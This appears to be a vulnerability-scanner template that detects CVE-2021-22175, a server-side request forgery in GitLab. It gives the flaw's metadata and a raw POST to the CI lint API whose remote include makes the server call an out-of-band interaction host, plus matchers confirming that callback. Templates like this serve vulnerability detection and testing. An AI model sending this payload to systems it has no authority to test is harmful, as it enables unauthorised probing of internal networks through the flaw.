id: CVE-2021-22175 info: name: "GitLab Affecting All Versions Starting - Server-Side Request Forgery" author: vedas-arpsyndicate severity: high description: | When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is disabled reference: - https://www.exploit.observer/?keyword=CVE-2021-22175&match=exact - https://subdomain.center/?engine=ammonites&keyword=gitlab&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2021-22175 cwe-id: CWE-918 metadata: verified: false tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln http: - raw: - | POST /api/v4/ci/lint HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"include_merged_yaml":true,"content":"include:\n remote: 'http://{{interactsh-url}}/gitlab.yml'"} matchers: - type: dsl dsl: - 'contains_all(body, "Included file", "\"errors\":")' - 'contains(content_type, "application/json")' - 'contains(interactsh_protocol, "http")' - 'status_code == 200' condition: and